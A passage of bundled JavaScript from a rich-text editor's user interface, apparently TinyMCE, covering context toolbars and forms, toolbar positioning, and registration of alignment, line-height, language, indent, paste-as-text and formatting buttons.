    const runOnExecute = (memInput, original) => run$1(internalToolbarButtonExecute, (comp, se) => {
      const input = memInput.get(comp);
      const formApi = getFormApi(input);
      original.onAction(formApi, se.event.buttonApi);
    });
    const renderContextButton = (memInput, button, providers) => {
      const {primary, ...rest} = button.original;
      const bridged = getOrDie(createToolbarButton({
        ...rest,
        type: 'button',
        onAction: noop
      }));
      return renderToolbarButtonWith(bridged, providers, [runOnExecute(memInput, button)]);
    };
    const renderContextToggleButton = (memInput, button, providers) => {
      const {primary, ...rest} = button.original;
      const bridged = getOrDie(createToggleButton({
        ...rest,
        type: 'togglebutton',
        onAction: noop
      }));
      return renderToolbarToggleButtonWith(bridged, providers, [runOnExecute(memInput, button)]);
    };
    const isToggleButton = button => button.type === 'contextformtogglebutton';
    const generateOne = (memInput, button, providersBackstage) => {
      if (isToggleButton(button)) {
        return renderContextToggleButton(memInput, button, providersBackstage);
      } else {
        return renderContextButton(memInput, button, providersBackstage);
      }
    };
    const generate = (memInput, buttons, providersBackstage) => {
      const mementos = map$2(buttons, button => record(generateOne(memInput, button, providersBackstage)));
      const asSpecs = () => map$2(mementos, mem => mem.asSpec());
      const findPrimary = compInSystem => findMap(buttons, (button, i) => {
        if (button.primary) {
          return Optional.from(mementos[i]).bind(mem => mem.getOpt(compInSystem)).filter(not(Disabling.isDisabled));
        } else {
          return Optional.none();
        }
      });
      return {
        asSpecs,
        findPrimary
      };
    };

    const buildInitGroups = (ctx, providers) => {
      const inputAttributes = ctx.label.fold(() => ({}), label => ({ 'aria-label': label }));
      const memInput = record(Input.sketch({
        inputClasses: [
          'tox-toolbar-textfield',
          'tox-toolbar-nav-js'
        ],
        data: ctx.initValue(),
        inputAttributes,
        selectOnFocus: true,
        inputBehaviours: derive$1([Keying.config({
            mode: 'special',
            onEnter: input => commands.findPrimary(input).map(primary => {
              emitExecute(primary);
              return true;
            }),
            onLeft: (comp, se) => {
              se.cut();
              return Optional.none();
            },
            onRight: (comp, se) => {
              se.cut();
              return Optional.none();
            }
          })])
      }));
      const commands = generate(memInput, ctx.commands, providers);
      return [
        {
          title: Optional.none(),
          items: [memInput.asSpec()]
        },
        {
          title: Optional.none(),
          items: commands.asSpecs()
        }
      ];
    };
    const renderContextForm = (toolbarType, ctx, providers) => renderToolbar({
      type: toolbarType,
      uid: generate$6('context-toolbar'),
      initGroups: buildInitGroups(ctx, providers),
      onEscape: Optional.none,
      cyclicKeying: true,
      providers
    });
    const ContextForm = {
      renderContextForm,
      buildInitGroups
    };

    const isVerticalOverlap = (a, b, threshold) => b.bottom - a.y >= threshold && a.bottom - b.y >= threshold;
    const getRangeRect = rng => {
      const rect = rng.getBoundingClientRect();
      if (rect.height <= 0 && rect.width <= 0) {
        const leaf$1 = leaf(SugarElement.fromDom(rng.startContainer), rng.startOffset).element;
        const elm = isText(leaf$1) ? parent(leaf$1) : Optional.some(leaf$1);
        return elm.filter(isElement$1).map(e => e.dom.getBoundingClientRect()).getOr(rect);
      } else {
        return rect;
      }
    };
    const getSelectionBounds = editor => {
      const rng = editor.selection.getRng();
      const rect = getRangeRect(rng);
      if (editor.inline) {
        const scroll = get$b();
        return bounds(scroll.left + rect.left, scroll.top + rect.top, rect.width, rect.height);
      } else {
        const bodyPos = absolute$2(SugarElement.fromDom(editor.getBody()));
        return bounds(bodyPos.x + rect.left, bodyPos.y + rect.top, rect.width, rect.height);
      }
    };
    const getAnchorElementBounds = (editor, lastElement) => lastElement.filter(elem => inBody(elem) && isHTMLElement(elem)).map(absolute$2).getOrThunk(() => getSelectionBounds(editor));
    const getHorizontalBounds = (contentAreaBox, viewportBounds, margin) => {
      const x = Math.max(contentAreaBox.x + margin, viewportBounds.x);
      const right = Math.min(contentAreaBox.right - margin, viewportBounds.right);
      return {
        x,
        width: right - x
      };
    };
    const getVerticalBounds = (editor, contentAreaBox, viewportBounds, isToolbarLocationTop, toolbarType, margin) => {
      const container = SugarElement.fromDom(editor.getContainer());
      const header = descendant(container, '.tox-editor-header').getOr(container);
      const headerBox = box$1(header);
      const isToolbarBelowContentArea = headerBox.y >= contentAreaBox.bottom;
      const isToolbarAbove = isToolbarLocationTop && !isToolbarBelowContentArea;
      if (editor.inline && isToolbarAbove) {
        return {
          y: Math.max(headerBox.bottom + margin, viewportBounds.y),
          bottom: viewportBounds.bottom
        };
      }
      if (editor.inline && !isToolbarAbove) {
        return {
          y: viewportBounds.y,
          bottom: Math.min(headerBox.y - margin, viewportBounds.bottom)
        };
      }
      const containerBounds = toolbarType === 'line' ? box$1(container) : contentAreaBox;
      if (isToolbarAbove) {
        return {
          y: Math.max(headerBox.bottom + margin, viewportBounds.y),
          bottom: Math.min(containerBounds.bottom - margin, viewportBounds.bottom)
        };
      }
      return {
        y: Math.max(containerBounds.y + margin, viewportBounds.y),
        bottom: Math.min(headerBox.y - margin, viewportBounds.bottom)
      };
    };
    const getContextToolbarBounds = (editor, sharedBackstage, toolbarType, margin = 0) => {
      const viewportBounds = getBounds$3(window);
      const contentAreaBox = box$1(SugarElement.fromDom(editor.getContentAreaContainer()));
      const toolbarOrMenubarEnabled = isMenubarEnabled(editor) || isToolbarEnabled(editor) || isMultipleToolbars(editor);
      const {x, width} = getHorizontalBounds(contentAreaBox, viewportBounds, margin);
      if (editor.inline && !toolbarOrMenubarEnabled) {
        return bounds(x, viewportBounds.y, width, viewportBounds.height);
      } else {
        const isToolbarTop = sharedBackstage.header.isPositionedAtTop();
        const {y, bottom} = getVerticalBounds(editor, contentAreaBox, viewportBounds, isToolbarTop, toolbarType, margin);
        return bounds(x, y, width, bottom - y);
      }
    };

    const bubbleSize$1 = 12;
    const bubbleAlignments$1 = {
      valignCentre: [],
      alignCentre: [],
      alignLeft: ['tox-pop--align-left'],
      alignRight: ['tox-pop--align-right'],
      right: ['tox-pop--right'],
      left: ['tox-pop--left'],
      bottom: ['tox-pop--bottom'],
      top: ['tox-pop--top'],
      inset: ['tox-pop--inset']
    };
    const anchorOverrides = {
      maxHeightFunction: expandable$1(),
      maxWidthFunction: expandable()
    };
    const isEntireElementSelected = (editor, elem) => {
      const rng = editor.selection.getRng();
      const leaf$1 = leaf(SugarElement.fromDom(rng.startContainer), rng.startOffset);
      return rng.startContainer === rng.endContainer && rng.startOffset === rng.endOffset - 1 && eq(leaf$1.element, elem);
    };
    const preservePosition = (elem, position, f) => {
      const currentPosition = getRaw(elem, 'position');
      set$8(elem, 'position', position);
      const result = f(elem);
      currentPosition.each(pos => set$8(elem, 'position', pos));
      return result;
    };
    const shouldUseInsetLayouts = position => position === 'node';
    const determineInsetLayout = (editor, contextbar, elem, data, bounds) => {
      const selectionBounds = getSelectionBounds(editor);
      const isSameAnchorElement = data.lastElement().exists(prev => eq(elem, prev));
      if (isEntireElementSelected(editor, elem)) {
        return isSameAnchorElement ? preserve : north;
      } else if (isSameAnchorElement) {
        return preservePosition(contextbar, data.getMode(), () => {
          const isOverlapping = isVerticalOverlap(selectionBounds, box$1(contextbar), -20);
          return isOverlapping && !data.isReposition() ? flip : preserve;
        });
      } else {
        const yBounds = data.getMode() === 'fixed' ? bounds.y + get$b().top : bounds.y;
        const contextbarHeight = get$d(contextbar) + bubbleSize$1;
        return yBounds + contextbarHeight <= selectionBounds.y ? north : south;
      }
    };
    const getAnchorSpec$2 = (editor, mobile, data, position) => {
      const smartInsetLayout = elem => (anchor, element, bubbles, placee, bounds) => {
        const layout = determineInsetLayout(editor, placee, elem, data, bounds);
        const newAnchor = {
          ...anchor,
          y: bounds.y,
          height: bounds.height
        };
        return {
          ...layout(newAnchor, element, bubbles, placee, bounds),
          alwaysFit: true
        };
      };
      const getInsetLayouts = elem => shouldUseInsetLayouts(position) ? [smartInsetLayout(elem)] : [];
      const desktopAnchorSpecLayouts = {
        onLtr: elem => [
          north$2,
          south$2,
          northeast$2,
          southeast$2,
          northwest$2,
          southwest$2
        ].concat(getInsetLayouts(elem)),
        onRtl: elem => [
          north$2,
          south$2,
          northwest$2,
          southwest$2,
          northeast$2,
          southeast$2
        ].concat(getInsetLayouts(elem))
      };
      const mobileAnchorSpecLayouts = {
        onLtr: elem => [
          south$2,
          southeast$2,
          southwest$2,
          northeast$2,
          northwest$2,
          north$2
        ].concat(getInsetLayouts(elem)),
        onRtl: elem => [
          south$2,
          southwest$2,
          southeast$2,
          northwest$2,
          northeast$2,
          north$2
        ].concat(getInsetLayouts(elem))
      };
      return mobile ? mobileAnchorSpecLayouts : desktopAnchorSpecLayouts;
    };
    const getAnchorLayout = (editor, position, isTouch, data) => {
      if (position === 'line') {
        return {
          bubble: nu$5(bubbleSize$1, 0, bubbleAlignments$1),
          layouts: {
            onLtr: () => [east$2],
            onRtl: () => [west$2]
          },
          overrides: anchorOverrides
        };
      } else {
        return {
          bubble: nu$5(0, bubbleSize$1, bubbleAlignments$1, 1 / bubbleSize$1),
          layouts: getAnchorSpec$2(editor, isTouch, data, position),
          overrides: anchorOverrides
        };
      }
    };

    const matchTargetWith = (elem, candidates) => {
      const ctxs = filter$2(candidates, toolbarApi => toolbarApi.predicate(elem.dom));
      const {pass, fail} = partition$3(ctxs, t => t.type === 'contexttoolbar');
      return {
        contextToolbars: pass,
        contextForms: fail
      };
    };
    const filterByPositionForStartNode = toolbars => {
      if (toolbars.length <= 1) {
        return toolbars;
      } else {
        const doesPositionExist = value => exists(toolbars, t => t.position === value);
        const filterToolbarsByPosition = value => filter$2(toolbars, t => t.position === value);
        const hasSelectionToolbars = doesPositionExist('selection');
        const hasNodeToolbars = doesPositionExist('node');
        if (hasSelectionToolbars || hasNodeToolbars) {
          if (hasNodeToolbars && hasSelectionToolbars) {
            const nodeToolbars = filterToolbarsByPosition('node');
            const selectionToolbars = map$2(filterToolbarsByPosition('selection'), t => ({
              ...t,
              position: 'node'
            }));
            return nodeToolbars.concat(selectionToolbars);
          } else {
            return hasSelectionToolbars ? filterToolbarsByPosition('selection') : filterToolbarsByPosition('node');
          }
        } else {
          return filterToolbarsByPosition('line');
        }
      }
    };
    const filterByPositionForAncestorNode = toolbars => {
      if (toolbars.length <= 1) {
        return toolbars;
      } else {
        const findPosition = value => find$5(toolbars, t => t.position === value);
        const basePosition = findPosition('selection').orThunk(() => findPosition('node')).orThunk(() => findPosition('line')).map(t => t.position);
        return basePosition.fold(() => [], pos => filter$2(toolbars, t => t.position === pos));
      }
    };
    const matchStartNode = (elem, nodeCandidates, editorCandidates) => {
      const nodeMatches = matchTargetWith(elem, nodeCandidates);
      if (nodeMatches.contextForms.length > 0) {
        return Optional.some({
          elem,
          toolbars: [nodeMatches.contextForms[0]]
        });
      } else {
        const editorMatches = matchTargetWith(elem, editorCandidates);
        if (editorMatches.contextForms.length > 0) {
          return Optional.some({
            elem,
            toolbars: [editorMatches.contextForms[0]]
          });
        } else if (nodeMatches.contextToolbars.length > 0 || editorMatches.contextToolbars.length > 0) {
          const toolbars = filterByPositionForStartNode(nodeMatches.contextToolbars.concat(editorMatches.contextToolbars));
          return Optional.some({
            elem,
            toolbars
          });
        } else {
          return Optional.none();
        }
      }
    };
    const matchAncestor = (isRoot, startNode, scopes) => {
      if (isRoot(startNode)) {
        return Optional.none();
      } else {
        return ancestor$2(startNode, ancestorElem => {
          if (isElement$1(ancestorElem)) {
            const {contextToolbars, contextForms} = matchTargetWith(ancestorElem, scopes.inNodeScope);
            const toolbars = contextForms.length > 0 ? contextForms : filterByPositionForAncestorNode(contextToolbars);
            return toolbars.length > 0 ? Optional.some({
              elem: ancestorElem,
              toolbars
            }) : Optional.none();
          } else {
            return Optional.none();
          }
        }, isRoot);
      }
    };
    const lookup$1 = (scopes, editor) => {
      const rootElem = SugarElement.fromDom(editor.getBody());
      const isRoot = elem => eq(elem, rootElem);
      const isOutsideRoot = startNode => !isRoot(startNode) && !contains(rootElem, startNode);
      const startNode = SugarElement.fromDom(editor.selection.getNode());
      if (isOutsideRoot(startNode)) {
        return Optional.none();
      }
      return matchStartNode(startNode, scopes.inNodeScope, scopes.inEditorScope).orThunk(() => matchAncestor(isRoot, startNode, scopes));
    };

    const categorise = (contextToolbars, navigate) => {
      const forms = {};
      const inNodeScope = [];
      const inEditorScope = [];
      const formNavigators = {};
      const lookupTable = {};
      const registerForm = (key, toolbarSpec) => {
        const contextForm = getOrDie(createContextForm(toolbarSpec));
        forms[key] = contextForm;
        contextForm.launch.map(launch => {
          formNavigators['form:' + key + ''] = {
            ...toolbarSpec.launch,
            type: launch.type === 'contextformtogglebutton' ? 'togglebutton' : 'button',
            onAction: () => {
              navigate(contextForm);
            }
          };
        });
        if (contextForm.scope === 'editor') {
          inEditorScope.push(contextForm);
        } else {
          inNodeScope.push(contextForm);
        }
        lookupTable[key] = contextForm;
      };
      const registerToolbar = (key, toolbarSpec) => {
        createContextToolbar(toolbarSpec).each(contextToolbar => {
          if (toolbarSpec.scope === 'editor') {
            inEditorScope.push(contextToolbar);
          } else {
            inNodeScope.push(contextToolbar);
          }
          lookupTable[key] = contextToolbar;
        });
      };
      const keys$1 = keys(contextToolbars);
      each$1(keys$1, key => {
        const toolbarApi = contextToolbars[key];
        if (toolbarApi.type === 'contextform') {
          registerForm(key, toolbarApi);
        } else if (toolbarApi.type === 'contexttoolbar') {
          registerToolbar(key, toolbarApi);
        }
      });
      return {
        forms,
        inNodeScope,
        inEditorScope,
        lookupTable,
        formNavigators
      };
    };

    const forwardSlideEvent = generate$6('forward-slide');
    const backSlideEvent = generate$6('backward-slide');
    const changeSlideEvent = generate$6('change-slide-event');
    const resizingClass = 'tox-pop--resizing';
    const renderContextToolbar = spec => {
      const stack = Cell([]);
      return InlineView.sketch({
        dom: {
          tag: 'div',
          classes: ['tox-pop']
        },
        fireDismissalEventInstead: { event: 'doNotDismissYet' },
        onShow: comp => {
          stack.set([]);
          InlineView.getContent(comp).each(c => {
            remove$6(c.element, 'visibility');
          });
          remove$2(comp.element, resizingClass);
          remove$6(comp.element, 'width');
        },
        inlineBehaviours: derive$1([
          config('context-toolbar-events', [
            runOnSource(transitionend(), (comp, se) => {
              if (se.event.raw.propertyName === 'width') {
                remove$2(comp.element, resizingClass);
                remove$6(comp.element, 'width');
              }
            }),
            run$1(changeSlideEvent, (comp, se) => {
              const elem = comp.element;
              remove$6(elem, 'width');
              const currentWidth = get$c(elem);
              InlineView.setContent(comp, se.event.contents);
              add$2(elem, resizingClass);
              const newWidth = get$c(elem);
              set$8(elem, 'width', currentWidth + 'px');
              InlineView.getContent(comp).each(newContents => {
                se.event.focus.bind(f => {
                  focus$3(f);
                  return search(elem);
                }).orThunk(() => {
                  Keying.focusIn(newContents);
                  return active$1(getRootNode(elem));
                });
              });
              setTimeout(() => {
                set$8(comp.element, 'width', newWidth + 'px');
              }, 0);
            }),
            run$1(forwardSlideEvent, (comp, se) => {
              InlineView.getContent(comp).each(oldContents => {
                stack.set(stack.get().concat([{
                    bar: oldContents,
                    focus: active$1(getRootNode(comp.element))
                  }]));
              });
              emitWith(comp, changeSlideEvent, {
                contents: se.event.forwardContents,
                focus: Optional.none()
              });
            }),
            run$1(backSlideEvent, (comp, _se) => {
              last$1(stack.get()).each(last => {
                stack.set(stack.get().slice(0, stack.get().length - 1));
                emitWith(comp, changeSlideEvent, {
                  contents: premade(last.bar),
                  focus: last.focus
                });
              });
            })
          ]),
          Keying.config({
            mode: 'special',
            onEscape: comp => last$1(stack.get()).fold(() => spec.onEscape(), _ => {
              emit(comp, backSlideEvent);
              return Optional.some(true);
            })
          })
        ]),
        lazySink: () => Result.value(spec.sink)
      });
    };

    const transitionClass = 'tox-pop--transition';
    const register$9 = (editor, registryContextToolbars, sink, extras) => {
      const backstage = extras.backstage;
      const sharedBackstage = backstage.shared;
      const isTouch = detect$1().deviceType.isTouch;
      const lastElement = value$2();
      const lastTrigger = value$2();
      const lastContextPosition = value$2();
      const contextbar = build$1(renderContextToolbar({
        sink,
        onEscape: () => {
          editor.focus();
          return Optional.some(true);
        }
      }));
      const getBounds = () => {
        const position = lastContextPosition.get().getOr('node');
        const margin = shouldUseInsetLayouts(position) ? 1 : 0;
        return getContextToolbarBounds(editor, sharedBackstage, position, margin);
      };
      const canLaunchToolbar = () => {
        return !editor.removed && !(isTouch() && backstage.isContextMenuOpen());
      };
      const isSameLaunchElement = elem => is$1(lift2(elem, lastElement.get(), eq), true);
      const shouldContextToolbarHide = () => {
        if (!canLaunchToolbar()) {
          return true;
        } else {
          const contextToolbarBounds = getBounds();
          const anchorBounds = is$1(lastContextPosition.get(), 'node') ? getAnchorElementBounds(editor, lastElement.get()) : getSelectionBounds(editor);
          return contextToolbarBounds.height <= 0 || !isVerticalOverlap(anchorBounds, contextToolbarBounds, 0.01);
        }
      };
      const close = () => {
        lastElement.clear();
        lastTrigger.clear();
        lastContextPosition.clear();
        InlineView.hide(contextbar);
      };
      const hideOrRepositionIfNecessary = () => {
        if (InlineView.isOpen(contextbar)) {
          const contextBarEle = contextbar.element;
          remove$6(contextBarEle, 'display');
          if (shouldContextToolbarHide()) {
            set$8(contextBarEle, 'display', 'none');
          } else {
            lastTrigger.set(0);
            InlineView.reposition(contextbar);
          }
        }
      };
      const wrapInPopDialog = toolbarSpec => ({
        dom: {
          tag: 'div',
          classes: ['tox-pop__dialog']
        },
        components: [toolbarSpec],
        behaviours: derive$1([
          Keying.config({ mode: 'acyclic' }),
          config('pop-dialog-wrap-events', [
            runOnAttached(comp => {
              editor.shortcuts.add('ctrl+F9', 'focus statusbar', () => Keying.focusIn(comp));
            }),
            runOnDetached(_comp => {
              editor.shortcuts.remove('ctrl+F9');
            })
          ])
        ])
      });
      const getScopes = cached(() => categorise(registryContextToolbars, toolbarApi => {
        const alloySpec = buildToolbar([toolbarApi]);
        emitWith(contextbar, forwardSlideEvent, { forwardContents: wrapInPopDialog(alloySpec) });
      }));
      const buildContextToolbarGroups = (allButtons, ctx) => identifyButtons(editor, {
        buttons: allButtons,
        toolbar: ctx.items,
        allowToolbarGroups: false
      }, extras.backstage, Optional.some(['form:']));
      const buildContextFormGroups = (ctx, providers) => ContextForm.buildInitGroups(ctx, providers);
      const buildToolbar = toolbars => {
        const {buttons} = editor.ui.registry.getAll();
        const scopes = getScopes();
        const allButtons = {
          ...buttons,
          ...scopes.formNavigators
        };
        const toolbarType = getToolbarMode(editor) === ToolbarMode$1.scrolling ? ToolbarMode$1.scrolling : ToolbarMode$1.default;
        const initGroups = flatten(map$2(toolbars, ctx => ctx.type === 'contexttoolbar' ? buildContextToolbarGroups(allButtons, ctx) : buildContextFormGroups(ctx, sharedBackstage.providers)));
        return renderToolbar({
          type: toolbarType,
          uid: generate$6('context-toolbar'),
          initGroups,
          onEscape: Optional.none,
          cyclicKeying: true,
          providers: sharedBackstage.providers
        });
      };
      const getAnchor = (position, element) => {
        const anchorage = position === 'node' ? sharedBackstage.anchors.node(element) : sharedBackstage.anchors.cursor();
        const anchorLayout = getAnchorLayout(editor, position, isTouch(), {
          lastElement: lastElement.get,
          isReposition: () => is$1(lastTrigger.get(), 0),
          getMode: () => Positioning.getMode(sink)
        });
        return deepMerge(anchorage, anchorLayout);
      };
      const launchContext = (toolbarApi, elem) => {
        launchContextToolbar.cancel();
        if (!canLaunchToolbar()) {
          return;
        }
        const toolbarSpec = buildToolbar(toolbarApi);
        const position = toolbarApi[0].position;
        const anchor = getAnchor(position, elem);
        lastContextPosition.set(position);
        lastTrigger.set(1);
        const contextBarEle = contextbar.element;
        remove$6(contextBarEle, 'display');
        if (!isSameLaunchElement(elem)) {
          remove$2(contextBarEle, transitionClass);
          Positioning.reset(sink, contextbar);
        }
        InlineView.showWithinBounds(contextbar, wrapInPopDialog(toolbarSpec), {
          anchor,
          transition: {
            classes: [transitionClass],
            mode: 'placement'
          }
        }, () => Optional.some(getBounds()));
        elem.fold(lastElement.clear, lastElement.set);
        if (shouldContextToolbarHide()) {
          set$8(contextBarEle, 'display', 'none');
        }
      };
      const launchContextToolbar = last(() => {
        if (!editor.hasFocus() || editor.removed) {
          return;
        }
        if (has(contextbar.element, transitionClass)) {
          launchContextToolbar.throttle();
        } else {
          const scopes = getScopes();
          lookup$1(scopes, editor).fold(close, info => {
            launchContext(info.toolbars, Optional.some(info.elem));
          });
        }
      }, 17);
      editor.on('init', () => {
        editor.on('remove', close);
        editor.on('ScrollContent ScrollWindow ObjectResized ResizeEditor longpress', hideOrRepositionIfNecessary);
        editor.on('click keyup focus SetContent', launchContextToolbar.throttle);
        editor.on(hideContextToolbarEvent, close);
        editor.on(showContextToolbarEvent, e => {
          const scopes = getScopes();
          get$g(scopes.lookupTable, e.toolbarKey).each(ctx => {
            launchContext([ctx], someIf(e.target !== editor, e.target));
            InlineView.getContent(contextbar).each(Keying.focusIn);
          });
        });
        editor.on('focusout', _e => {
          global$9.setEditorTimeout(editor, () => {
            if (search(sink.element).isNone() && search(contextbar.element).isNone()) {
              close();
            }
          }, 0);
        });
        editor.on('SwitchMode', () => {
          if (editor.mode.isReadOnly()) {
            close();
          }
        });
        editor.on('AfterProgressState', event => {
          if (event.state) {
            close();
          } else if (editor.hasFocus()) {
            launchContextToolbar.throttle();
          }
        });
        editor.on('NodeChange', _e => {
          search(contextbar.element).fold(launchContextToolbar.throttle, noop);
        });
      });
    };

    const register$8 = editor => {
      const alignToolbarButtons = [
        {
          name: 'alignleft',
          text: 'Align left',
          cmd: 'JustifyLeft',
          icon: 'align-left'
        },
        {
          name: 'aligncenter',
          text: 'Align center',
          cmd: 'JustifyCenter',
          icon: 'align-center'
        },
        {
          name: 'alignright',
          text: 'Align right',
          cmd: 'JustifyRight',
          icon: 'align-right'
        },
        {
          name: 'alignjustify',
          text: 'Justify',
          cmd: 'JustifyFull',
          icon: 'align-justify'
        }
      ];
      each$1(alignToolbarButtons, item => {
        editor.ui.registry.addToggleButton(item.name, {
          tooltip: item.text,
          icon: item.icon,
          onAction: onActionExecCommand(editor, item.cmd),
          onSetup: onSetupFormatToggle(editor, item.name)
        });
      });
      editor.ui.registry.addButton('alignnone', {
        tooltip: 'No alignment',
        icon: 'align-none',
        onAction: onActionExecCommand(editor, 'JustifyNone')
      });
    };

    const units = {
      unsupportedLength: [
        'em',
        'ex',
        'cap',
        'ch',
        'ic',
        'rem',
        'lh',
        'rlh',
        'vw',
        'vh',
        'vi',
        'vb',
        'vmin',
        'vmax',
        'cm',
        'mm',
        'Q',
        'in',
        'pc',
        'pt',
        'px'
      ],
      fixed: [
        'px',
        'pt'
      ],
      relative: ['%'],
      empty: ['']
    };
    const pattern = (() => {
      const decimalDigits = '[0-9]+';
      const signedInteger = '[+-]?' + decimalDigits;
      const exponentPart = '[eE]' + signedInteger;
      const dot = '\\.';
      const opt = input => `(?:${ input })?`;
      const unsignedDecimalLiteral = [
        'Infinity',
        decimalDigits + dot + opt(decimalDigits) + opt(exponentPart),
        dot + decimalDigits + opt(exponentPart),
        decimalDigits + opt(exponentPart)
      ].join('|');
      const float = `[+-]?(?:${ unsignedDecimalLiteral })`;
      return new RegExp(`^(${ float })(.*)$`);
    })();
    const isUnit = (unit, accepted) => exists(accepted, acc => exists(units[acc], check => unit === check));
    const parse = (input, accepted) => {
      const match = Optional.from(pattern.exec(input));
      return match.bind(array => {
        const value = Number(array[1]);
        const unitRaw = array[2];
        if (isUnit(unitRaw, accepted)) {
          return Optional.some({
            value,
            unit: unitRaw
          });
        } else {
          return Optional.none();
        }
      });
    };
    const normalise = (input, accepted) => parse(input, accepted).map(({value, unit}) => value + unit);

    const registerController = (editor, spec) => {
      const getMenuItems = () => {
        const options = spec.getOptions(editor);
        const initial = spec.getCurrent(editor).map(spec.hash);
        const current = value$2();
        return map$2(options, value => ({
          type: 'togglemenuitem',
          text: spec.display(value),
          onSetup: api => {
            const setActive = active => {
              if (active) {
                current.on(oldApi => oldApi.setActive(false));
                current.set(api);
              }
              api.setActive(active);
            };
            setActive(is$1(initial, spec.hash(value)));
            const unbindWatcher = spec.watcher(editor, value, setActive);
            return () => {
              current.clear();
              unbindWatcher();
            };
          },
          onAction: () => spec.setCurrent(editor, value)
        }));
      };
      editor.ui.registry.addMenuButton(spec.name, {
        tooltip: spec.text,
        icon: spec.icon,
        fetch: callback => callback(getMenuItems()),
        onSetup: spec.onToolbarSetup
      });
      editor.ui.registry.addNestedMenuItem(spec.name, {
        type: 'nestedmenuitem',
        text: spec.text,
        getSubmenuItems: getMenuItems,
        onSetup: spec.onMenuSetup
      });
    };
    const lineHeightSpec = {
      name: 'lineheight',
      text: 'Line height',
      icon: 'line-height',
      getOptions: getLineHeightFormats,
      hash: input => normalise(input, [
        'fixed',
        'relative',
        'empty'
      ]).getOr(input),
      display: identity,
      watcher: (editor, value, callback) => editor.formatter.formatChanged('lineheight', callback, false, { value }).unbind,
      getCurrent: editor => Optional.from(editor.queryCommandValue('LineHeight')),
      setCurrent: (editor, value) => editor.execCommand('LineHeight', false, value)
    };
    const languageSpec = editor => {
      const settingsOpt = Optional.from(getContentLanguages(editor));
      return settingsOpt.map(settings => ({
        name: 'language',
        text: 'Language',
        icon: 'language',
        getOptions: constant$1(settings),
        hash: input => isUndefined(input.customCode) ? input.code : `${ input.code }/${ input.customCode }`,
        display: input => input.title,
        watcher: (editor, value, callback) => {
          var _a;
          return editor.formatter.formatChanged('lang', callback, false, {
            value: value.code,
            customValue: (_a = value.customCode) !== null && _a !== void 0 ? _a : null
          }).unbind;
        },
        getCurrent: editor => {
          const node = SugarElement.fromDom(editor.selection.getNode());
          return closest$4(node, n => Optional.some(n).filter(isElement$1).bind(ele => {
            const codeOpt = getOpt(ele, 'lang');
            return codeOpt.map(code => {
              const customCode = getOpt(ele, 'data-mce-lang').getOrUndefined();
              return {
                code,
                customCode,
                title: ''
              };
            });
          }));
        },
        setCurrent: (editor, lang) => editor.execCommand('Lang', false, lang),
        onToolbarSetup: api => {
          const unbinder = unbindable();
          api.setActive(editor.formatter.match('lang', {}, undefined, true));
          unbinder.set(editor.formatter.formatChanged('lang', api.setActive, true));
          return unbinder.clear;
        }
      }));
    };
    const register$7 = editor => {
      registerController(editor, lineHeightSpec);
      languageSpec(editor).each(spec => registerController(editor, spec));
    };

    const register$6 = (editor, backstage) => {
      createAlignMenu(editor, backstage);
      createFontFamilyMenu(editor, backstage);
      createStylesMenu(editor, backstage);
      createBlocksMenu(editor, backstage);
      createFontSizeMenu(editor, backstage);
    };

    const onSetupOutdentState = editor => onSetupEvent(editor, 'NodeChange', api => {
      api.setEnabled(editor.queryCommandState('outdent'));
    });
    const registerButtons$2 = editor => {
      editor.ui.registry.addButton('outdent', {
        tooltip: 'Decrease indent',
        icon: 'outdent',
        onSetup: onSetupOutdentState(editor),
        onAction: onActionExecCommand(editor, 'outdent')
      });
      editor.ui.registry.addButton('indent', {
        tooltip: 'Increase indent',
        icon: 'indent',
        onAction: onActionExecCommand(editor, 'indent')
      });
    };
    const register$5 = editor => {
      registerButtons$2(editor);
    };

    const makeSetupHandler = (editor, pasteAsText) => api => {
      api.setActive(pasteAsText.get());
      const pastePlainTextToggleHandler = e => {
        pasteAsText.set(e.state);
        api.setActive(e.state);
      };
      editor.on('PastePlainTextToggle', pastePlainTextToggleHandler);
      return () => editor.off('PastePlainTextToggle', pastePlainTextToggleHandler);
    };
    const register$4 = editor => {
      const pasteAsText = Cell(getPasteAsText(editor));
      const onAction = () => editor.execCommand('mceTogglePlainTextPaste');
      editor.ui.registry.addToggleButton('pastetext', {
        active: false,
        icon: 'paste-text',
        tooltip: 'Paste as text',
        onAction,
        onSetup: makeSetupHandler(editor, pasteAsText)
      });
      editor.ui.registry.addToggleMenuItem('pastetext', {
        text: 'Paste as text',
        icon: 'paste-text',
        onAction,
        onSetup: makeSetupHandler(editor, pasteAsText)
      });
    };

    const onActionToggleFormat = (editor, fmt) => () => {
      editor.execCommand('mceToggleFormat', false, fmt);
    };
    const registerFormatButtons = editor => {
      global$1.each([
        {
          name: 'bold',
          text: 'Bold',
          icon: 'bold'
        },
        {
          name: 'italic',
          text: 'Italic',
          icon: 'italic'
        },
        {
          name: 'underline',
          text: 'Underline',
          icon: 'underline'
        },
        {
          name: 'strikethrough',
          text: 'Strikethrough',
          icon: 'strike-through'
        },
        {
          name: 'subscript',
          text: 'Subscript',
          icon: 'subscript'
        },
        {
          name: 'superscript',
          text: 'Superscript',
          icon: 'superscript'
        }
      ], (btn, _idx) => {
        editor.ui.registry.addToggleButton(btn.name, {
          tooltip: btn.text,
          icon: btn.icon,
          onSetup: onSetupFormatToggle(editor, btn.name),
          onAction: onActionToggleFormat(editor, btn.name)
        });
      });
      for (let i = 1; i <= 6; i++) {
        const name = 'h' + i;
        editor.ui.registry.addToggleButton(name, {
          text: name.toUpperCase(),
          tooltip: 'Heading ' + i,
          onSetup: onSetupFormatToggle(editor, name),
          onAction: onActionToggleFormat(editor, name)
        });
      }
    };
    const registerCommandButtons = editor => {
      global$1.each([
        {
          name: 'cut',
          text: 'Cut',
          action: 'Cut',
          icon: 'cut'
        },
        {
          name: 'copy',
          text: 'Copy',
          action: 'Copy',
          icon: 'copy'
        },
        {
          name: 'paste',
          text: 'Paste',
          action: 'Paste',
          icon: 'paste'
        },
        {
          name: 'help',
          text: 'Help',
          action: 'mceHelp',
          icon: 'help'
        },
        {
          name: 'selectall',
          text: 'Select all',
          action: 'SelectAll',
          icon: 'select-all'
        },
        {
          name: 'newdocument',
          text: 'New document',
          action: 'mceNewDocument',
          icon: 'new-document'
        },
        {
          name: 'removeformat',
          text: 'Clear formatting',
          action: 'RemoveFormat',
          icon: 'remove-formatting'
        },
        {
          name: 'remove',
          text: 'Remove',
          action: 'Delete',
          icon: 'remove'
        },
        {
          name: 'print',
          text: 'Print',
          action: 'mcePrint',
          icon: 'print'
        },
        {
          name: 'hr',
          text: 'Horizontal line',
          action: 'InsertHorizontalRule',
